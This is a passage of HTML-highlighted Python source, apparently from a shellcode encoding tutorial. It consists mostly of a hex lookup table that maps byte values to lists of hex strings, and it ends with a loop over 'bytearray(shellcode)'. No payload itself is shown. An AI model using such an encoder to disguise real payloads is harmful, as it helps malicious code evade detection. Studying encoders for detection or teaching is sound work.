<span class="p">[</span><span class="s1">'81'</span><span class="p">,</span> <span class="s1">'126'</span><span class="p">,</span> <span class="s1">'268'</span><span class="p">,</span> <span class="s1">'3cf'</span><span class="p">],</span> <span class="s1">'88'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f8'</span><span class="p">,</span> <span class="s1">'15f'</span><span class="p">,</span> <span class="s1">'211'</span><span class="p">,</span> <span class="s1">'3b6'</span><span class="p">],</span> <span class="s1">'89'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b0'</span><span class="p">,</span> <span class="s1">'117'</span><span class="p">,</span> <span class="s1">'259'</span><span class="p">],</span> <span class="s1">'8a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'68'</span><span class="p">,</span> <span class="s1">'1cf'</span><span class="p">,</span> <span class="s1">'281'</span><span class="p">,</span> <span class="s1">'326'</span><span class="p">],</span> <span class="s1">'8b'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'20'</span><span class="p">,</span> <span class="s1">'187'</span><span class="p">,</span> <span class="s1">'2c9'</span><span class="p">,</span> <span class="s1">'36e'</span><span class="p">],</span> <span class="s1">'8c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'eb'</span><span class="p">,</span> <span class="s1">'14c'</span><span class="p">,</span> <span class="s1">'202'</span><span class="p">,</span> <span class="s1">'3a5'</span><span class="p">],</span> <span class="s1">'8d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a3'</span><span class="p">,</span> <span class="s1">'104'</span><span class="p">,</span> <span class="s1">'24a'</span><span class="p">],</span> <span class="s1">'8e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7b'</span><span class="p">,</span> <span class="s1">'1dc'</span><span class="p">,</span> <span class="s1">'292'</span><span class="p">,</span> <span class="s1">'335'</span><span class="p">],</span> <span class="s1">'8f'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'33'</span><span class="p">,</span> <span class="s1">'194'</span><span class="p">,</span> <span class="s1">'2da'</span><span class="p">,</span> <span class="s1">'37d'</span><span class="p">],</span> <span class="s1">'9'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'fa'</span><span class="p">,</span> <span class="s1">'15d'</span><span class="p">,</span> <span class="s1">'213'</span><span class="p">,</span> <span class="s1">'3b4'</span><span class="p">],</span> <span class="s1">'90'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1d'</span><span class="p">,</span> <span class="s1">'1ba'</span><span class="p">,</span> <span class="s1">'2f4'</span><span class="p">,</span> <span class="s1">'353'</span><span class="p">],</span> <span class="s1">'91'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'55'</span><span class="p">,</span> <span class="s1">'1f2'</span><span class="p">,</span> <span class="s1">'2bc'</span><span class="p">,</span> <span class="s1">'31b'</span><span class="p">],</span>
<span class="s1">'92'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8d'</span><span class="p">,</span> <span class="s1">'12a'</span><span class="p">,</span> <span class="s1">'264'</span><span class="p">,</span> <span class="s1">'3c3'</span><span class="p">],</span> <span class="s1">'93'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c5'</span><span class="p">,</span> <span class="s1">'162'</span><span class="p">,</span> <span class="s1">'22c'</span><span class="p">,</span> <span class="s1">'38b'</span><span class="p">],</span> <span class="s1">'94'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e'</span><span class="p">,</span> <span class="s1">'1a9'</span><span class="p">,</span> <span class="s1">'2e7'</span><span class="p">,</span> <span class="s1">'340'</span><span class="p">],</span> <span class="s1">'95'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'46'</span><span class="p">,</span> <span class="s1">'1e1'</span><span class="p">,</span> <span class="s1">'2af'</span><span class="p">,</span>
<span class="s1">'308'</span><span class="p">],</span> <span class="s1">'96'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9e'</span><span class="p">,</span> <span class="s1">'139'</span><span class="p">,</span> <span class="s1">'277'</span><span class="p">,</span> <span class="s1">'3d0'</span><span class="p">],</span> <span class="s1">'97'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d6'</span><span class="p">,</span> <span class="s1">'171'</span><span class="p">,</span> <span class="s1">'23f'</span><span class="p">,</span> <span class="s1">'398'</span><span class="p">],</span> <span class="s1">'98'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'af'</span><span class="p">,</span> <span class="s1">'108'</span><span class="p">,</span> <span class="s1">'246'</span><span class="p">,</span> <span class="s1">'3e1'</span><span class="p">],</span> <span class="s1">'99'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e7'</span><span class="p">,</span> <span class="s1">'140'</span><span class="p">,</span>
<span class="s1">'20e'</span><span class="p">,</span> <span class="s1">'3a9'</span><span class="p">],</span> <span class="s1">'9a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3f'</span><span class="p">,</span> <span class="s1">'198'</span><span class="p">,</span> <span class="s1">'2d6'</span><span class="p">,</span> <span class="s1">'371'</span><span class="p">],</span> <span class="s1">'9b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'77'</span><span class="p">,</span> <span class="s1">'1d0'</span><span class="p">,</span> <span class="s1">'29e'</span><span class="p">,</span> <span class="s1">'339'</span><span class="p">],</span> <span class="s1">'9c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'bc'</span><span class="p">,</span> <span class="s1">'11b'</span><span class="p">,</span> <span class="s1">'255'</span><span class="p">],</span> <span class="s1">'9d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f4'</span><span class="p">,</span> <span class="s1">'153'</span><span class="p">,</span>
<span class="s1">'21d'</span><span class="p">,</span> <span class="s1">'3ba'</span><span class="p">],</span> <span class="s1">'9e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'2c'</span><span class="p">,</span> <span class="s1">'18b'</span><span class="p">,</span> <span class="s1">'2c5'</span><span class="p">,</span> <span class="s1">'362'</span><span class="p">],</span> <span class="s1">'9f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'64'</span><span class="p">,</span> <span class="s1">'1c3'</span><span class="p">,</span> <span class="s1">'28d'</span><span class="p">,</span> <span class="s1">'32a'</span><span class="p">],</span> <span class="s1">'a0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e4'</span><span class="p">,</span> <span class="s1">'143'</span><span class="p">,</span> <span class="s1">'20d'</span><span class="p">,</span> <span class="s1">'3aa'</span><span class="p">],</span> <span class="s1">'a1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ac'</span><span class="p">,</span>
<span class="s1">'10b'</span><span class="p">,</span> <span class="s1">'245'</span><span class="p">,</span> <span class="s1">'3e2'</span><span class="p">],</span> <span class="s1">'a2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'74'</span><span class="p">,</span> <span class="s1">'1d3'</span><span class="p">,</span> <span class="s1">'29d'</span><span class="p">,</span> <span class="s1">'33a'</span><span class="p">],</span> <span class="s1">'a3'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3c'</span><span class="p">,</span> <span class="s1">'19b'</span><span class="p">,</span> <span class="s1">'2d5'</span><span class="p">,</span> <span class="s1">'372'</span><span class="p">],</span> <span class="s1">'a4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f7'</span><span class="p">,</span> <span class="s1">'150'</span><span class="p">,</span> <span class="s1">'21e'</span><span class="p">,</span> <span class="s1">'3b9'</span><span class="p">],</span> <span class="s1">'a5'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'bf'</span><span class="p">,</span> <span class="s1">'118'</span><span class="p">,</span> <span class="s1">'256'</span><span class="p">],</span> <span class="s1">'a6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'67'</span><span class="p">,</span> <span class="s1">'1c0'</span><span class="p">,</span> <span class="s1">'28e'</span><span class="p">,</span> <span class="s1">'329'</span><span class="p">],</span> <span class="s1">'a7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'2f'</span><span class="p">,</span> <span class="s1">'188'</span><span class="p">,</span> <span class="s1">'2c6'</span><span class="p">,</span> <span class="s1">'361'</span><span class="p">],</span> <span class="s1">'a8'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'56'</span><span class="p">,</span> <span class="s1">'1f1'</span><span class="p">,</span> <span class="s1">'2bf'</span><span class="p">,</span> <span class="s1">'318'</span><span class="p">],</span> <span class="s1">'a9'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'1e'</span><span class="p">,</span> <span class="s1">'1b9'</span><span class="p">,</span> <span class="s1">'2f7'</span><span class="p">,</span> <span class="s1">'350'</span><span class="p">],</span> <span class="s1">'aa'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c6'</span><span class="p">,</span> <span class="s1">'161'</span><span class="p">,</span> <span class="s1">'22f'</span><span class="p">,</span> <span class="s1">'388'</span><span class="p">],</span> <span class="s1">'ab'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8e'</span><span class="p">,</span> <span class="s1">'129'</span><span class="p">,</span> <span class="s1">'267'</span><span class="p">,</span> <span class="s1">'3c0'</span><span class="p">],</span> <span class="s1">'ac'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'45'</span><span class="p">,</span> <span class="s1">'1e2'</span><span class="p">,</span> <span class="s1">'2ac'</span><span class="p">,</span> <span class="s1">'30b'</span><span class="p">],</span>
<span class="s1">'ad'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d'</span><span class="p">,</span> <span class="s1">'1aa'</span><span class="p">,</span> <span class="s1">'2e4'</span><span class="p">,</span> <span class="s1">'343'</span><span class="p">],</span> <span class="s1">'ae'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d5'</span><span class="p">,</span> <span class="s1">'172'</span><span class="p">,</span> <span class="s1">'23c'</span><span class="p">,</span> <span class="s1">'39b'</span><span class="p">],</span> <span class="s1">'af'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9d'</span><span class="p">,</span> <span class="s1">'13a'</span><span class="p">,</span> <span class="s1">'274'</span><span class="p">,</span> <span class="s1">'3d3'</span><span class="p">],</span> <span class="s1">'b0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b3'</span><span class="p">,</span> <span class="s1">'114'</span><span class="p">,</span> <span class="s1">'25a'</span><span class="p">],</span>
<span class="s1">'b1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'fb'</span><span class="p">,</span> <span class="s1">'15c'</span><span class="p">,</span> <span class="s1">'212'</span><span class="p">,</span> <span class="s1">'3b5'</span><span class="p">],</span> <span class="s1">'b2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'23'</span><span class="p">,</span> <span class="s1">'184'</span><span class="p">,</span> <span class="s1">'2ca'</span><span class="p">,</span> <span class="s1">'36d'</span><span class="p">],</span> <span class="s1">'b3'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6b'</span><span class="p">,</span> <span class="s1">'1cc'</span><span class="p">,</span> <span class="s1">'282'</span><span class="p">,</span> <span class="s1">'325'</span><span class="p">],</span> <span class="s1">'b4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a0'</span><span class="p">,</span> <span class="s1">'107'</span><span class="p">,</span> <span class="s1">'249'</span><span class="p">],</span>
<span class="s1">'b5'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e8'</span><span class="p">,</span> <span class="s1">'14f'</span><span class="p">,</span> <span class="s1">'201'</span><span class="p">,</span> <span class="s1">'3a6'</span><span class="p">],</span> <span class="s1">'b6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'30'</span><span class="p">,</span> <span class="s1">'197'</span><span class="p">,</span> <span class="s1">'2d9'</span><span class="p">,</span> <span class="s1">'37e'</span><span class="p">],</span> <span class="s1">'b7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'78'</span><span class="p">,</span> <span class="s1">'1df'</span><span class="p">,</span> <span class="s1">'291'</span><span class="p">,</span> <span class="s1">'336'</span><span class="p">],</span> <span class="s1">'b8'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1a6'</span><span class="p">,</span> <span class="s1">'2e8'</span><span class="p">,</span> <span class="s1">'34f'</span><span class="p">],</span>
<span class="s1">'b9'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'49'</span><span class="p">,</span> <span class="s1">'1ee'</span><span class="p">,</span> <span class="s1">'2a0'</span><span class="p">,</span> <span class="s1">'307'</span><span class="p">],</span> <span class="s1">'ba'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'91'</span><span class="p">,</span> <span class="s1">'136'</span><span class="p">,</span> <span class="s1">'278'</span><span class="p">,</span> <span class="s1">'3df'</span><span class="p">],</span> <span class="s1">'bb'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d9'</span><span class="p">,</span> <span class="s1">'17e'</span><span class="p">,</span> <span class="s1">'230'</span><span class="p">,</span> <span class="s1">'397'</span><span class="p">],</span> <span class="s1">'bc'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'12'</span><span class="p">,</span> <span class="s1">'1b5'</span><span class="p">,</span> <span class="s1">'2fb'</span><span class="p">,</span>
<span class="s1">'35c'</span><span class="p">],</span> <span class="s1">'bd'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5a'</span><span class="p">,</span> <span class="s1">'1fd'</span><span class="p">,</span> <span class="s1">'2b3'</span><span class="p">,</span> <span class="s1">'314'</span><span class="p">],</span> <span class="s1">'be'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'82'</span><span class="p">,</span> <span class="s1">'125'</span><span class="p">,</span> <span class="s1">'26b'</span><span class="p">,</span> <span class="s1">'3cc'</span><span class="p">],</span> <span class="s1">'bf'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ca'</span><span class="p">,</span> <span class="s1">'16d'</span><span class="p">,</span> <span class="s1">'223'</span><span class="p">,</span> <span class="s1">'384'</span><span class="p">],</span> <span class="s1">'c0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'25'</span><span class="p">,</span> <span class="s1">'182'</span><span class="p">,</span>
<span class="s1">'2cc'</span><span class="p">,</span> <span class="s1">'36b'</span><span class="p">],</span> <span class="s1">'c1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6d'</span><span class="p">,</span> <span class="s1">'1ca'</span><span class="p">,</span> <span class="s1">'284'</span><span class="p">,</span> <span class="s1">'323'</span><span class="p">],</span> <span class="s1">'c2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b5'</span><span class="p">,</span> <span class="s1">'112'</span><span class="p">,</span> <span class="s1">'25c'</span><span class="p">],</span> <span class="s1">'c3'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'fd'</span><span class="p">,</span> <span class="s1">'15a'</span><span class="p">,</span> <span class="s1">'214'</span><span class="p">,</span> <span class="s1">'3b3'</span><span class="p">],</span> <span class="s1">'c4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'36'</span><span class="p">,</span> <span class="s1">'191'</span><span class="p">,</span>
<span class="s1">'2df'</span><span class="p">,</span> <span class="s1">'378'</span><span class="p">],</span> <span class="s1">'c5'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7e'</span><span class="p">,</span> <span class="s1">'1d9'</span><span class="p">,</span> <span class="s1">'297'</span><span class="p">,</span> <span class="s1">'330'</span><span class="p">],</span> <span class="s1">'c6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a6'</span><span class="p">,</span> <span class="s1">'101'</span><span class="p">,</span> <span class="s1">'24f'</span><span class="p">,</span> <span class="s1">'3e8'</span><span class="p">],</span> <span class="s1">'c7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ee'</span><span class="p">,</span> <span class="s1">'149'</span><span class="p">,</span> <span class="s1">'207'</span><span class="p">,</span> <span class="s1">'3a0'</span><span class="p">],</span> <span class="s1">'c8'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'97'</span><span class="p">,</span>
<span class="s1">'130'</span><span class="p">,</span> <span class="s1">'27e'</span><span class="p">,</span> <span class="s1">'3d9'</span><span class="p">],</span> <span class="s1">'c9'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'df'</span><span class="p">,</span> <span class="s1">'178'</span><span class="p">,</span> <span class="s1">'236'</span><span class="p">,</span> <span class="s1">'391'</span><span class="p">],</span> <span class="s1">'ca'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7'</span><span class="p">,</span> <span class="s1">'1a0'</span><span class="p">,</span> <span class="s1">'2ee'</span><span class="p">,</span> <span class="s1">'349'</span><span class="p">],</span> <span class="s1">'cb'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4f'</span><span class="p">,</span> <span class="s1">'1e8'</span><span class="p">,</span> <span class="s1">'2a6'</span><span class="p">,</span> <span class="s1">'301'</span><span class="p">],</span> <span class="s1">'cc'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'84'</span><span class="p">,</span> <span class="s1">'123'</span><span class="p">,</span> <span class="s1">'26d'</span><span class="p">,</span> <span class="s1">'3ca'</span><span class="p">],</span> <span class="s1">'cd'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'cc'</span><span class="p">,</span> <span class="s1">'16b'</span><span class="p">,</span> <span class="s1">'225'</span><span class="p">,</span> <span class="s1">'382'</span><span class="p">],</span> <span class="s1">'ce'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'14'</span><span class="p">,</span> <span class="s1">'1b3'</span><span class="p">,</span> <span class="s1">'2fd'</span><span class="p">,</span> <span class="s1">'35a'</span><span class="p">],</span> <span class="s1">'cf'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5c'</span><span class="p">,</span> <span class="s1">'1fb'</span><span class="p">,</span> <span class="s1">'2b5'</span><span class="p">,</span> <span class="s1">'312'</span><span class="p">],</span>
<span class="s1">'d0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'72'</span><span class="p">,</span> <span class="s1">'1d5'</span><span class="p">,</span> <span class="s1">'29b'</span><span class="p">,</span> <span class="s1">'33c'</span><span class="p">],</span> <span class="s1">'d1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3a'</span><span class="p">,</span> <span class="s1">'19d'</span><span class="p">,</span> <span class="s1">'2d3'</span><span class="p">,</span> <span class="s1">'374'</span><span class="p">],</span> <span class="s1">'d2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e2'</span><span class="p">,</span> <span class="s1">'145'</span><span class="p">,</span> <span class="s1">'20b'</span><span class="p">,</span> <span class="s1">'3ac'</span><span class="p">],</span> <span class="s1">'d3'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'aa'</span><span class="p">,</span> <span class="s1">'10d'</span><span class="p">,</span> <span class="s1">'243'</span><span class="p">,</span>
<span class="s1">'3e4'</span><span class="p">],</span> <span class="s1">'d4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'61'</span><span class="p">,</span> <span class="s1">'1c6'</span><span class="p">,</span> <span class="s1">'288'</span><span class="p">,</span> <span class="s1">'32f'</span><span class="p">],</span> <span class="s1">'d5'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'29'</span><span class="p">,</span> <span class="s1">'18e'</span><span class="p">,</span> <span class="s1">'2c0'</span><span class="p">,</span> <span class="s1">'367'</span><span class="p">],</span> <span class="s1">'d6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f1'</span><span class="p">,</span> <span class="s1">'156'</span><span class="p">,</span> <span class="s1">'218'</span><span class="p">,</span> <span class="s1">'3bf'</span><span class="p">],</span> <span class="s1">'d7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b9'</span><span class="p">,</span> <span class="s1">'11e'</span><span class="p">,</span>
<span class="s1">'250'</span><span class="p">],</span> <span class="s1">'d8'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c0'</span><span class="p">,</span> <span class="s1">'167'</span><span class="p">,</span> <span class="s1">'229'</span><span class="p">,</span> <span class="s1">'38e'</span><span class="p">],</span> <span class="s1">'d9'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'88'</span><span class="p">,</span> <span class="s1">'12f'</span><span class="p">,</span> <span class="s1">'261'</span><span class="p">,</span> <span class="s1">'3c6'</span><span class="p">],</span> <span class="s1">'da'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'50'</span><span class="p">,</span> <span class="s1">'1f7'</span><span class="p">,</span> <span class="s1">'2b9'</span><span class="p">,</span> <span class="s1">'31e'</span><span class="p">],</span> <span class="s1">'db'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'18'</span><span class="p">,</span> <span class="s1">'1bf'</span><span class="p">,</span>
<span class="s1">'2f1'</span><span class="p">,</span> <span class="s1">'356'</span><span class="p">],</span> <span class="s1">'dc'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d3'</span><span class="p">,</span> <span class="s1">'174'</span><span class="p">,</span> <span class="s1">'23a'</span><span class="p">,</span> <span class="s1">'39d'</span><span class="p">],</span> <span class="s1">'dd'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9b'</span><span class="p">,</span> <span class="s1">'13c'</span><span class="p">,</span> <span class="s1">'272'</span><span class="p">,</span> <span class="s1">'3d5'</span><span class="p">],</span> <span class="s1">'de'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'43'</span><span class="p">,</span> <span class="s1">'1e4'</span><span class="p">,</span> <span class="s1">'2aa'</span><span class="p">,</span> <span class="s1">'30d'</span><span class="p">],</span> <span class="s1">'df'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b'</span><span class="p">,</span>
<span class="s1">'1ac'</span><span class="p">,</span> <span class="s1">'2e2'</span><span class="p">,</span> <span class="s1">'345'</span><span class="p">],</span> <span class="s1">'e0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8b'</span><span class="p">,</span> <span class="s1">'12c'</span><span class="p">,</span> <span class="s1">'262'</span><span class="p">,</span> <span class="s1">'3c5'</span><span class="p">],</span> <span class="s1">'e1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c3'</span><span class="p">,</span> <span class="s1">'164'</span><span class="p">,</span> <span class="s1">'22a'</span><span class="p">,</span> <span class="s1">'38d'</span><span class="p">],</span> <span class="s1">'e2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1b'</span><span class="p">,</span> <span class="s1">'1bc'</span><span class="p">,</span> <span class="s1">'2f2'</span><span class="p">,</span> <span class="s1">'355'</span><span class="p">],</span> <span class="s1">'e3'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'53'</span><span class="p">,</span> <span class="s1">'1f4'</span><span class="p">,</span> <span class="s1">'2ba'</span><span class="p">,</span> <span class="s1">'31d'</span><span class="p">],</span> <span class="s1">'e4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'98'</span><span class="p">,</span> <span class="s1">'13f'</span><span class="p">,</span> <span class="s1">'271'</span><span class="p">,</span> <span class="s1">'3d6'</span><span class="p">],</span> <span class="s1">'e5'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d0'</span><span class="p">,</span> <span class="s1">'177'</span><span class="p">,</span> <span class="s1">'239'</span><span class="p">,</span> <span class="s1">'39e'</span><span class="p">],</span> <span class="s1">'e6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8'</span><span class="p">,</span> <span class="s1">'1af'</span><span class="p">,</span> <span class="s1">'2e1'</span><span class="p">,</span> <span class="s1">'346'</span><span class="p">],</span>
<span class="s1">'e7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'40'</span><span class="p">,</span> <span class="s1">'1e7'</span><span class="p">,</span> <span class="s1">'2a9'</span><span class="p">,</span> <span class="s1">'30e'</span><span class="p">],</span> <span class="s1">'e8'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'39'</span><span class="p">,</span> <span class="s1">'19e'</span><span class="p">,</span> <span class="s1">'2d0'</span><span class="p">,</span> <span class="s1">'377'</span><span class="p">],</span> <span class="s1">'e9'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'71'</span><span class="p">,</span> <span class="s1">'1d6'</span><span class="p">,</span> <span class="s1">'298'</span><span class="p">,</span> <span class="s1">'33f'</span><span class="p">],</span> <span class="s1">'ea'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a9'</span><span class="p">,</span> <span class="s1">'10e'</span><span class="p">,</span> <span class="s1">'240'</span><span class="p">,</span>
<span class="s1">'3e7'</span><span class="p">],</span> <span class="s1">'eb'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e1'</span><span class="p">,</span> <span class="s1">'146'</span><span class="p">,</span> <span class="s1">'208'</span><span class="p">,</span> <span class="s1">'3af'</span><span class="p">],</span> <span class="s1">'ec'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'2a'</span><span class="p">,</span> <span class="s1">'18d'</span><span class="p">,</span> <span class="s1">'2c3'</span><span class="p">,</span> <span class="s1">'364'</span><span class="p">],</span> <span class="s1">'ed'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'62'</span><span class="p">,</span> <span class="s1">'1c5'</span><span class="p">,</span> <span class="s1">'28b'</span><span class="p">,</span> <span class="s1">'32c'</span><span class="p">],</span> <span class="s1">'ee'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ba'</span><span class="p">,</span> <span class="s1">'11d'</span><span class="p">,</span>
<span class="s1">'253'</span><span class="p">],</span> <span class="s1">'ef'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f2'</span><span class="p">,</span> <span class="s1">'155'</span><span class="p">,</span> <span class="s1">'21b'</span><span class="p">,</span> <span class="s1">'3bc'</span><span class="p">],</span> <span class="s1">'f0'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'dc'</span><span class="p">,</span> <span class="s1">'17b'</span><span class="p">,</span> <span class="s1">'235'</span><span class="p">,</span> <span class="s1">'392'</span><span class="p">],</span> <span class="s1">'f1'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'94'</span><span class="p">,</span> <span class="s1">'133'</span><span class="p">,</span> <span class="s1">'27d'</span><span class="p">,</span> <span class="s1">'3da'</span><span class="p">],</span> <span class="s1">'f2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4c'</span><span class="p">,</span> <span class="s1">'1eb'</span><span class="p">,</span>
<span class="s1">'2a5'</span><span class="p">,</span> <span class="s1">'302'</span><span class="p">],</span> <span class="s1">'f3'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4'</span><span class="p">,</span> <span class="s1">'1a3'</span><span class="p">,</span> <span class="s1">'2ed'</span><span class="p">,</span> <span class="s1">'34a'</span><span class="p">],</span> <span class="s1">'f4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'cf'</span><span class="p">,</span> <span class="s1">'168'</span><span class="p">,</span> <span class="s1">'226'</span><span class="p">,</span> <span class="s1">'381'</span><span class="p">],</span> <span class="s1">'f5'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'87'</span><span class="p">,</span> <span class="s1">'120'</span><span class="p">,</span> <span class="s1">'26e'</span><span class="p">,</span> <span class="s1">'3c9'</span><span class="p">],</span> <span class="s1">'f6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5f'</span><span class="p">,</span>
<span class="s1">'1f8'</span><span class="p">,</span> <span class="s1">'2b6'</span><span class="p">,</span> <span class="s1">'311'</span><span class="p">],</span> <span class="s1">'f7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'17'</span><span class="p">,</span> <span class="s1">'1b0'</span><span class="p">,</span> <span class="s1">'2fe'</span><span class="p">,</span> <span class="s1">'359'</span><span class="p">],</span> <span class="s1">'f8'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6e'</span><span class="p">,</span> <span class="s1">'1c9'</span><span class="p">,</span> <span class="s1">'287'</span><span class="p">,</span> <span class="s1">'320'</span><span class="p">],</span> <span class="s1">'f9'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'26'</span><span class="p">,</span> <span class="s1">'181'</span><span class="p">,</span> <span class="s1">'2cf'</span><span class="p">,</span> <span class="s1">'368'</span><span class="p">],</span> <span class="s1">'fa'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'fe'</span><span class="p">,</span> <span class="s1">'159'</span><span class="p">,</span> <span class="s1">'217'</span><span class="p">,</span> <span class="s1">'3b0'</span><span class="p">],</span> <span class="s1">'fb'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b6'</span><span class="p">,</span> <span class="s1">'111'</span><span class="p">,</span> <span class="s1">'25f'</span><span class="p">],</span> <span class="s1">'fc'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7d'</span><span class="p">,</span> <span class="s1">'1da'</span><span class="p">,</span> <span class="s1">'294'</span><span class="p">,</span> <span class="s1">'333'</span><span class="p">],</span> <span class="s1">'fd'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'35'</span><span class="p">,</span> <span class="s1">'192'</span><span class="p">,</span> <span class="s1">'2dc'</span><span class="p">,</span> <span class="s1">'37b'</span><span class="p">],</span> <span class="s1">'fe'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'ed'</span><span class="p">,</span> <span class="s1">'14a'</span><span class="p">,</span> <span class="s1">'204'</span><span class="p">,</span> <span class="s1">'3a3'</span><span class="p">],</span> <span class="s1">'ff'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a5'</span><span class="p">,</span> <span class="s1">'102'</span><span class="p">,</span> <span class="s1">'24c'</span><span class="p">]}</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="p">:</span>
